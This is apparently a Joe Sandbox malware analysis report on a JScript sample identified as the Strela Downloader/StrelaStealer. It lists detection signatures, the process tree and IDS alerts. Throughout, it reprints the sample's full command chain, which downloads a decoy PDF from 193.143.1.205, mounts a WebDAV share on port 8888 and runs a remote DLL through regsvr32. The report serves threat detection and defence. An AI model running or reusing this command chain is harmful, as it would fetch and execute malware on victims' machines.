Edit tour

Windows Analysis Report
155442583088718889.js

Overview

General Information

Sample name:	155442583088718889.js
Analysis ID:	1589086
MD5:	9ce4e984a3f73f1c53bcf835aa902103
SHA1:	286418b2a2abe226c3d0bec4552a31fa35041c1b
SHA256:	e5b48c5b36b1ceceec52dc545c49bf7aa8b6009e29e948b22c1b402b6e816392
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7256 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7548 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7760 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5764 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8056 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1132 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1692,i,16768709405715443152,9912022555520268978,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6508 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5888 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7504 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7256	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7548, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7760, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7548, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7760, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js", ProcessId: 7256, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5888, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49738

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7256, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, ProcessId: 7548, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7256, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, ProcessId: 7548, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7256, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, ProcessId: 7548, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7256, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, ProcessId: 7548, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7256, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, ProcessId: 7548, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js", ProcessId: 7256, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7548, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7760, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6508, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5888, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7504, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6508, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5888, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7256, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll, ProcessId: 7548, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:21:50.128818+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49722	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:21:52.780456+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49738	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:21:50.128818+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49722	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 155442583088718889.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 155442583088718889.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 155442583088718889.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49722 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49738 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:21:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

